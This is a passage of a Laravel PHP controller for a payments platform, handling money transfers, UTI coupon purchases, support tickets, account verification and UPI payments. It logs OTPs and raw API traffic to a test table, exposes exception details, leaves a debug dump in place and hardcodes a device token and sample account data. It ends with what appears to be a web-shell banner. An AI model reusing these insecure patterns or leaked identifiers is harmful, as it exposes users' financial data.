        $wallet = $this->checkwallet($uid);
        // return $wallet;die;
        if($wallet < $amount)
        return response()->json(['status'=>'ERROR','message'=>'Insufficient fund in your wallet please recharge your wallet!!','error'=>false],402);
        $charge = $this->checkcharge($amount,'dmtcharge',$user->package);
         if($charge != true)
        return response()->json(['status'=>'ERROR','message'=>'Charges are not set for you please contact to admin!','error'=>false],412);
        if($wallet < $charge+$amount)
        return response()->json(['status'=>'ERROR','message'=>'Insufficient fund in your wallet. You need '.$charge+$amount.' to do this transaction','error'=>false],402);
        $maxlimit = $this->checkmaxlimit('dmtcharge',$user->package);
        if($maxlimit != true)
        return response()->json(['status'=>'ERROR','message'=>'Unable to get your maximum Transaction limit please contact to admin!!','error'=>false],412);
        if($amount > $maxlimit)
        return response()->json(['status'=>'ERROR','message'=>'Your maximum transaction limit is '.$maxlimit,'error'=>false],412);
        #Before transaction do entry
      
        $insdata = array(
                'uid' => $uid,
                'tempid' => $tempTxnid,
                'amount' =>$amount,
                'status' => 'PENDING',
                'mode' => $mode,
                'message' => 'NA',
                'response' => 'NA',
                'utr' => 'NA',
                'ifsc' => $ifsc,
                );
        $this->insertdata('dmrtxn',$insdata);
        $this->debitEntry($uid,'DMT',$tempTxnid,$amount);
        $this->debitEntry($uid,'DMT-CHARGE',$tempTxnid,$charge);
        DB::table('app_dmt')->where('txn_key',$getTxnRow->txn_key)->update(['txn_data'=>null]);
       
        $sendingdata = array(
            "mobile"=>$phone,
            "bene_id"=>$beneId,
            "amount"=>(double)$amount,
            "mode"=>$mode,
            "ref_key"=>$tempTxnid,
            'otp' => $otp,
            'stateresp' => $stateresp,
            );
        DB::table('test')->insert(['data' => json_encode($sendingdata)]);
        
        $url = 'https://xapi.ecuzen.in/api/dmt/transaction';
        $response = $this->callApi($url,'POST',json_encode($sendingdata),'p');
        DB::table('test')->insert(['data' => $response]);
        #success response
        // $response = '{"status":"SUCCESS","msg":"Transaction is on hold","data":{"status":true,"response_code":1,"ackno":"68164981","referenceid":"DMT426030709312","utr":"0","txn_status":4,"benename":"","remarks":"timeout - ","message":"Transaction is on hold","remitter":"8696921014","account_number":"677105601578","bc_share":"2.5","txn_amount":"100","NPCI_response_code":"500","bank_status":"no","balance":928.1299999999999954525264911353588104248046875,"customercharge":"10.00","gst":"1.53","tds":"0.30","netcommission":"5.67"}}';
        #error response
        // $response = '{"status":"ERROR","msg":"The amount field must be at least 100.","info":{"amount":["The amount field must be at least 100."]}}';
        $response = json_decode($response);
        if($response->status == 'SUCCESS' || $response->status == 'PENDING')
        {
            $responseData = $response->data;
            $updateData = array(
                'txnid' => $responseData->referenceid,
                'account' => $responseData->account_number,
                'bname' => $responseData->benename,
                'status' => $response->status,
                'message' => $response->msg,
                'utr' => $responseData->utr,
                'response' => json_encode($response)
                );
            $this->updateData('dmrtxn','tempid',$tempTxnid,$updateData);
            $this->updateData('wallet','txnid',$tempTxnid,['txnid'=>$responseData->referenceid]);
            $this->distributeCommission($uid,'DMT-Commission','dmtcharge',$amount,$responseData->referenceid);
            $data = array(
                'date' => Carbon::now()->format('Y-m-d H:i:s'),
                'name' => $responseData->benename,
                'txnid' => $responseData->referenceid,
                'account' => $responseData->account_number,
                'ifsc' => $ifsc,
                'status' => $response->status,
                'item1' => 'DMT',
                'item2' => 'DMT-CHARGE',
                'amount1' => (double)$amount,
                'amount2' => (double)$charge,
                'total' => (double)$amount+$charge,
                'support' => DB::table('settings')->where('name','cemail')->first()->value,
                'rrn' => $responseData->utr,
                'mode' => $mode,
                );
            return response()->json(['status'=>'SUCCESS','message'=>$response->msg,'data'=>['dmtReceiptData'=>$data],'error'=>false]);
        }
        else
        {
            $responseData = $response->data??null;
            $insdata = array(
                'txnid' => $responseData->referenceid??$tempTxnid,
                'account' => $responseData->account_number??'NA',
                'ifsc' => $ifsc,
                'bname' => $responseData->benename??'NA',
                'amount' =>$amount,
                'status' => $response->status,
                'message' => $response->msg,
                'response' => json_encode($response),
                'utr' => $responseData->utr??'NA',
                'mode' => $mode,
                );
            $this->updateData('dmrtxn','tempid',$tempTxnid,$insdata);
            $this->updateData('wallet','txnid',$tempTxnid,['txnid'=>$responseData->referenceid??$tempTxnid]);
            $this->creditEntry($uid,'DMT-REFUND',$responseData->referenceid??$tempTxnid,$amount+$charge);
            return response()->json(['status'=>'ERROR','message'=>$response->msg,'error'=>false],406);
        }
    }
    public function dmtLogout(Request $res)
    {
        $validator = Validator::make($res->all(), [
            'dmtKey' => 'required|string|exists:app_dmt,txn_key',
        ]);
        if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
		DB::table('app_dmt')->where('txn_key',$res->dmtKey)->delete();
		return response()->json(['status'=>'SUCCESS','message'=>'DMT Logout successfully!!','error'=>false]);
    }
    
    
    public function utiCheckStatus(Request $res)
    {
        $uid = $res->uid;
        $user = $res->user();
        #check uti register status
        $coupanCharge = 0;
        $checkStatus = DB::table('psa')->where('uid',$uid)->first();
        if($checkStatus == "" || $checkStatus == null)
        {
            $status = 'NO';
            $psaid = '';
        }
        else if($checkStatus->status == 'PENDING')
        {
            $status = 'PENDING';
            $psaid = '';
        }
        else
        {
            $status = 'YES';
            $psaid = $checkStatus->psaid;
            $coupanCharge  = (double)DB::table('coponcharge')->where('package',$user->package)->first()->amount;
        }
        $kycData = array(
				'supportmail' => Setting::where('name', 'cemail')->first()->value,
				'supportphone' => Setting::where('name', 'cnumber')->first()->value,
			);
        return response()->json(['status'=>'SUCCESS','message'=>'UTI status fetched successfully','utiStatus'=>$status,'psaid' => $psaid,'couponCharge'=>$coupanCharge,'data'=>['utiSupportData'=>$kycData],'error'=>false]);
    }
    public function utiRegister(Request $res)
    {
        $validator = Validator::make($res->all(), [
            'pincode' => 'required|numeric|digits:6',
            'address' => 'required|string',
            'slocation' => 'required|string',
            'pan' => 'required|string|size:10',
            'aadhar' => 'required|numeric|digits:12',
            'email' => 'required|email',
            'phone' => 'required|numeric|digits:10',
            'name' => 'required|string',
        ]);
        if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
		$uid = $res->uid;
		$check = $this->checkservice('uti',$uid);
        if($check->status == 'ERROR')
        return response()->json(['status'=>'ERROR','message'=>$check->message,'error'=>false],503);
        #check for already existance 
        $checkStatus = DB::table('psa')->where('uid',$uid)->count();
        if($checkStatus != 0)
        return response()->json(['status'=>'ERROR','message'=>'You already applied for UTI','error'=>false],208);
        $api_key = DB::table('settings')->where('name','api_key')->first()->value;
        $sendingdata= array(
            'api_key' => $api_key,
            'psaid' => "ECZ".$res->phone,
            'mobile' => $res->phone,
            'email' =>$res->email,
            'shop' => $res->slocation,
            'name' => $res->name,
            'pan' => $res->pan,
            'pincode' => $res->pincode,
            'location' => $res->address,
            'aadhaar' => $res->aadhar,
            'state' => $res->state
            );
        $url = 'https://partners.ecuzen.in/api/pan/register';
        $headers = array('api-key' => $api_key);
        $response = $this->callApiwithHeader($url,'POST',json_encode($sendingdata),$headers);
        $response =  json_decode($response);
        if($response->status == 'SUCCESS')
        {
            $sendingdata['uid'] = $uid;
            $sendingdata['adhaar'] = $sendingdata['aadhaar'];
            Arr::forget($sendingdata, 'api_key');
            Arr::forget($sendingdata, 'aadhaar');
            $insData = $sendingdata;
            $insData['status'] = $response->psa_status;
            $res = $this->insertdata('psa',$insData);
            return response()->json(['status'=>'SUCCESS','message'=>'Your application processed successfully your PSAID is :-'.$response->psa_id,'error'=>false]);
        }
        else
        {
            return response()->json(['status'=>'ERROR','message'=>$response->msg,'error'=>false],422);
        }
    }
    public function buyUtiCoupon(Request $res)
    {
        $validator = Validator::make($res->all(), [
            'qty' => 'required|numeric|gt:0',
        ]);
        if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
		$uid = $res->uid;
		$qty = $res->qty;
		$user = $res->user();
		$check = $this->checkservice('uti',$uid);
        if($check->status == 'ERROR')
        return response()->json(['status'=>'ERROR','message'=>$check->message,'error'=>false],503);
        $wallet = $this->checkwallet($uid);
        $coupanCharge  = DB::table('coponcharge')->where('package',$user->package)->first()->amount;
        $totalCharge = $coupanCharge * $qty;
        if($wallet < $coupanCharge)
        return response()->json(['status'=>'ERROR','message'=>'Insufficient fund in your wallet please recharge your wallet!!','error'=>false],402);
        $psaRow = DB::table('psa')->where('uid',$uid)->first();
        if($psaRow->status != 'APPROVED')
        return response()->json(['status'=>'ERROR','message'=>'Your PSAID is not approved please wait for admin to approve!!','error'=>false],422);
        $psaId = $psaRow->psaid;
        $api_key = DB::table('settings')->where('name','api_key')->first()->value;
        $sendingdata = array(
            'api_key' => $api_key,
            'psa_id' => $psaId,
	        'quantity' => $qty
            );
        $url = 'https://partner.ecuzen.in/api/requestcopon';
        $response = $this->callApi($url,'POST',$sendingdata,'');
        $response = json_decode($response);
        if($response->status == 'SUCCESS' || $response->status == 'PENDING')
        {
            $insertData = array(
                'uid' => $uid,
                'txnid' => $response->txnid,
                'qty' => $qty,
                'amount' => $totalCharge,
                'status' => $response->status,
                'response' => json_encode($response),
                'message' => null,
                );
            $this->insertdata('pancoupontxn',$insertData);
            $this->debitEntry($uid,'UTI',$response->txnid,$totalCharge);
            $data = array(
                'date' => Carbon::now()->format('Y-m-d H:i:s'),
                'txnid' => $response->txnid,
                'status' => $response->status,
                'item1' => 'Quantity',
                'item2' => 'Total',
                'amount1' => (double)$qty,
                'amount2' => (double)$totalCharge,
                'support' => DB::table('settings')->where('name','cemail')->first()->value,
                );
            return response()->json(['status'=>'SUCCESS','message' => 'UTI Coupon purchased successfully','data' =>['utiReceipt'=>$data]]);
        }
        else
        {
            $insertData = array(
                'uid' => $uid,
                'txnid' => $response->txnid??'NA',
                'qty' => $qty??'NA',
                'amount' => $totalCharge??'NA',
                'status' => $response->status??'NA',
                'response' => json_encode($response)??'NA',
                'message' => $response->msg??'NA',
                );
            $this->insertdata('pancoupontxn',$insertData);
            return response()->json(['status'=>'ERROR','message'=>$response->msg,'error'=>false],422);
        }
    }
    public function getAllsupportType(Request $res)
    {
        $data = DB::table('support')->select('id','name')->get();
        $tickets = DB::table('ticket')->where('uid',$res->uid)->select('*')->orderBy('id','desc')/*->except(['uid','department','date'])*/->get();
        return response()->json(['status'=>'SUCCESS','message'=>'Support types fetched successfully','data'=>['supportTypes'=>$data,'supportTickets'=>$tickets??[]],'error'=>false]);
    }
    
      public function registerAllsupportType(Request $res)
    {
        $filteredList = ['aeps','money-transfer','qtransfer','payout','bbps','recharge','uti-coupon','wallet','wallet-to-wallet','AEPS','DMT','Q-Transfer','Payout','BBPS','Recharge','UTI-Coupon','Wallet','Wallet-to-Wallet'];
		$rules = [
			'message' => [],
			'txnid' => [],
			'service' => [],
		];
		$rules['message'][] = 'required';
		$rules['service'][] = 'required';
		$service = $res->service;
        if (in_array($service, $filteredList)) {
		    $rules['txnid'][] = 'required';
		    $rules['txnid'][] = 'unique:ticket,txnid';
		}
		$validator = Validator::make($res->all(), $rules);
		if ($validator->fails()) {
			$errors = $validator->errors();
			return response()->json(['status' => 'ERROR', 'message' => $errors->first(), 'info' => $errors,'error'=>false], 400);
		}
		if($service == 'money-transfer')
		$service = 'DMT';
        $insertData = array(
            'uid' => $res->uid,
            'ticketid' => "TKT".uniqid(),
            'message' =>$res->message,
            'txnid' => $res->txnid??'NA',
            'service' => strtoupper($service),
            'status' => "PENDING",
            ); 
        $this->insertdata('ticket',$insertData);
        return response()->json(['status'=>'SUCCESS','message'=>'Ticket Raised  successfully','error'=>false]);
    }
    public function accountVerify(Request $res)
    {
        $validator = Validator::make($res->all(), [
            'account' => 'required|numeric',
            'ifsc' => 'required|string',
            'mobile' => 'required|numeric|digits:10',
            'lat' => 'required',
            'log' => 'required'
        ]);
        if ($validator->fails()) {
			$errors = $validator->errors();
			return response()->json(['status' => 'ERROR', 'message' => $errors->first(), 'info' => $errors,'error'=>false], 400);
		}
        $uid = $res->uid;
        $user = User::find($uid);
        $username = $user->username;
        $wallet = $this->checkwallet($uid);
        $charge = DB::table('accountVerify')->where('package',$user->package)->first()->amount;
        if($wallet < $charge)
        return response()->json(['status'=>'ERROR','message'=>'Insufficient fund in your wallet please recharge your wallet!!'],400);
        $account = $res->account;
        $ifsc = $res->ifsc;
        $phone = $res->mobile;
        $lat = $res->lat;
        $log = $res->log;
        
        $checkacc = DB::table('qtra_acc')->where('account',$account)->where('mobile' , $phone);
        if($checkacc->count() > 0){
             if($checkacc->first()->fetch_acc == 1)
            {
                return response()->json(['status'=>'SUCCESS','message'=>'Your Account Allready Verified!!', 'name' => $checkacc->first()->bname],200);
            }
        }
        $api_key = DB::table('settings')->where('name','api_key')->first()->value;
        $url = 'https://partner.ecuzen.in/new/api/account_verify';
        $sendingData = array(                                   
    		'api_key' => $api_key,
    		'ifsc' => $ifsc,
    		'lat'=>$lat,
    		'log'=>$log,
    		'account' => $account
    	);
        $response = $this->callApi($url,'POST',$sendingData, '');
        // return $response;
       /* $response = '{"txnid":"BANKVER8381488921","status":"SUCCESS","account":"677105601578","ifsc":"ICIC0006771","bname":"ECUZEN SOFTWARE PRIV","rrn":"311510984527"}';*/
        $response = json_decode($response);
        if($response->status == 'SUCCESS')
        {
             $qtra = DB::table('qtra_acc')->where('account',$account)->where('mobile' , $phone)->count();
             if($qtra > 0)
             {
                 DB::table('qtra_acc')->where('account',$account)->where('mobile' , $phone)->update(['fetch_acc' => 1, 'bname' => $response->bname]);
             }else{
                 DB::table('qtra_acc')->insert(['mobile' => $phone, 'account' => $account, 'ifsc' => $ifsc, 'bname' => $response->bname, 'fetch_acc' => 1]);
             }
             $amount = DB::table('settings')->where('name','accverify')->first()->value;
             $this->debitEntry($uid,'ACC-VERIFY',$response->txnid,$amount);
             return response()->json(['status'=>'SUCCESS','message'=>'Your Account has been Verified!', 'name' => $response->bname],200);
        }else{
            return response()->JSON(['status' => 'ERROR', 'message' => $response->msg],400);
        }
    }
    
    public function testNotification()
    {
            $notificationData = array("title" => 'Balance Enquiry', "message" => 'Test notification', "user_id" => 'TEST USER',  "notify_type" => "transaction_success","transactionID"=>'TEST123456789');
            $this->pushAndroid('dB7fvaXRTw-ulYL6RbJYgM:APA91bFDuC19qBeN7IJdu92wfFPyyoTiS2fK5NCofBLSMlPHdlKTc4eWI199hkcv8iJfB9SCsMMALvFISP-0wf5trH0IEyyf20RBHfi_BJvahW6TgzRALsaQmP9wVk8DU1349sDXVIr0', $notificationData);
    }
    
    
    
    
    
    /////////////////////////////////////////////////////////////////////////////////////////////////////////////
    
    
    public function TajQr(Request $req)
{
    // Validate input
    $validator = Validator::make($req->all(), [
        'amount' => 'required|numeric'
    ]);

    if ($validator->fails()) {
        return response()->json([
            'status'  => 'ERROR',
            'message' => $validator->errors()->first()
        ]);
    }

    try {
         $orderId = 'PAY'.rand(100000, 99999999); 

        // Fetch user
        
        $user = DB::table('users')->where('id',$req->uid)->first();
        if (!$user) {
            
            return response()->json([
                'status'  => 'ERROR',
                'message' => 'User not found'
            ], 404);
        }

        $mobile = $user->phone;
        $amount = $req->amount;
        
        // $url = 'https://tajmoney.in/api/abc';

  
        $result = $this->tajUpiapi($amount, $mobile, $orderId,'');


     
        if ($result && isset($result['status']) && $result['status'] == true) {
            
            DB::table('pgTxn')->insert([
                "uid"        => $req->uid,
                "txnid"      => $orderId,
                "amount"     => $amount,
                'status' => 'PENDING',
                'message' => 'NA',
                "name"       => $user->name,
                "response"   => json_encode($result),
                "created_at" => now(),
                "updated_at" => now()
        ]);

            return response()->json([
                'status'      => 'SUCCESS',
                'message'     => $result['message'] ?? 'Payment URL generated',
                'payment_url' => $result['result']['payment_url'] ?? null,
            ], 200);

        } else {
            return response()->json([
                'status'  => 'FAILURE',
                'message' => $result['message'] ?? 'Invalid API response',
            ], 400);
        }
    } 
    catch (Exception $e) {  
        return response()->json([
            'status'  => 'ERROR',
            'message' => 'Unknown error occurred',
            'error'   => $e->getMessage() 
        ], 500);
    }
}

    
    
    
     public function getOperator(Request $request)
    {
        dd($request);
        $mobile = $request->mobile;

        if (!preg_match('/^[6-9][0-9]{9}$/', $mobile)) {
            return response()->json([
                'status' => 'FAILED',
                'message' => 'Invalid Mobile Number'
            ]);
        }

        $response = Http::get('https://www.bsmrecharge.in/apiservice.asmx/GetOperator', [
            'mn' => $mobile
        ]);

        if (!$response->successful()) {
            return response()->json([
                'status' => 'FAILED',
                'message' => 'Operator API not responding'
            ]);
        }

        $xml  = simplexml_load_string($response->body());
        $json = json_encode($xml);
        $data = json_decode($json, true);

        return response()->json([
            'status'   => 'SUCCESS',
            'code'     => $data['code'] ?? null,
            'provider' => $data['provider'] ?? null,
            'state'    => $data['state'] ?? null,
            'opid'     => $data['opid'] ?? null,
        ]);
    }
    
    
    
    
    
}

Youez - 2016 - github.com/yon3zu
LinuXploit